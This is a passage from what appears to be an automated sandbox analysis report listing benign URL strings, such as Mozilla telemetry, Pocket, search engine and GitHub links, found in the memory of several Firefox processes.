String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?Z
Source: firefox.exe, 00000015.00000002.2909716254.000002593924C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: firefox.exe, 00000015.00000003.2808209221.000002593A467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2882491080.0000025933F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2896388912.0000025938065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3076567128.000001EF2D803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075456153.000001EF2D6AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000015.00000002.2964091165.0000370D2CF04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2896388912.0000025938065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3076567128.000001EF2D803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/SelectOptionsLengthAssignmentW
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000015.00000002.2936356785.000002593FDE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805259789.000002593FDE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7A12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000015.00000002.2884763162.0000025934427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2808950277.00000259407D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2811265427.00000259407C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000015.00000002.2915022634.000002593A02A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2904711739.0000025938670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000015.00000002.2884763162.0000025934427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3071091391.000001EF2CE92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1resource://gre/modules/AddonManager.jsm
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1resource://gre/modules/AddonManager.jsmParent
Source: firefox.exe, 00000015.00000002.2889978017.00000259358D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2879062103.0000025928391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3051133453.000001EF29652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D742000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3064689751.000001EF2C526000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000015.00000002.2936356785.000002593FDE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805259789.000002593FDE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7A12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3049658732.000001EF1DF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3049658732.000001EF1DF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000015.00000002.2884763162.0000025934427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2924708904.000002593ACD1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934447000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7A2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3049658732.000001EF1DF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3049658732.000001EF1DF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000015.00000002.2896102021.0000025937F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 00000015.00000002.2909716254.000002593924C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2789894282.000002594023C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000015.00000002.2939307905.000002594021F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000015.00000002.2939307905.000002594021F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000015.00000003.2756753958.0000025937E1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2893877831.0000025937600000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000003.2756585177.0000025938200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2756907545.0000025937E3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E9DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3125524996.000001EF35C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3125524996.000001EF35C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000015.00000002.2884763162.0000025934427000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000015.00000002.2964091165.0000370D2CF04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3121604934.000001EF35723000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000015.00000002.2921089355.000002593A997000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3125524996.000001EF35C43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2879062103.0000025928311000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3051133453.000001EF29698000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3049658732.000001EF1DF11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000015.00000002.2940088335.0000025940359000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2892227537.00000259360D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3071091391.000001EF2CEBF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2937149751.000002593FE45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7ABC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3096265421.000001EF2F750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2906919520.0000025938E3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2808209221.000002593A467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000015.00000002.2944981005.0000025940656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000015.00000002.2944981005.0000025940656000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
